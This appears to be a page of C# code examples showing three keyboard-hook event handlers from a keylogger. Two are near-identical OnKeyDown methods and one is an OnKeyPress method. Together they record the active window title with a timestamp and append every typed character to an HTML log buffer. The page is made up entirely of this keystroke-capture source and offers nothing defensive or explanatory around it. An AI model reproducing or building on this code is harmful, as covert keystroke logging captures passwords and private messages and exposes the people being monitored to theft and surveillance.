Beispiel #1
0
        private void OnKeyDown(object sender, KeyEventArgs e)                  //Called first
        {
            string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title

            if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
            {
                _lastWindowTitle = activeWindowTitle;
                _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
                                      + KeyloggerHelper.Filter(activeWindowTitle) + " - "
                                      + DateTime.Now.ToString("HH:mm")
                                      + "</b>]</p><br>");
            }

            if (_pressedKeys.IsModifierKeysSet())
            {
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                    return;
                }
            }

            if (!e.KeyCode.IsExcludedKey())
            {
                // The key was not part of the keys that we wish to filter, so
                // be sure to prevent a situation where multiple keys are pressed.
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                }
            }
        }
Beispiel #2
0
        private void OnKeyDown(object sender, KeyEventArgs e)
        {
            string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle();

            if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
            {
                _lastWindowTitle = activeWindowTitle;
                _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
                                      + KeyloggerHelper.Filter(activeWindowTitle) + " - "
                                      + DateTime.Now.ToString("HH:mm")
                                      + "</b>]</p><br>");
            }

            if (_pressedKeys.IsModifierKeysSet())
            {
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                    return;
                }
            }

            if (!e.KeyCode.IsExcludedKey())
            {
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                }
            }
        }
Beispiel #3
0
        //This method should be used to process all of our unicode characters
        private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second
        {
            if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                return;
            }

            if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                var filtered = KeyloggerHelper.Filter(e.KeyChar);
                if (!string.IsNullOrEmpty(filtered))
                {
                    Debug.WriteLine("OnKeyPress Output: " + filtered);
                    if (_pressedKeys.IsModifierKeysSet())
                    {
                        _ignoreSpecialKeys = true;
                    }

                    _pressedKeyChars.Add(e.KeyChar);
                    _logFileBuffer.Append(filtered);
                }
            }
        }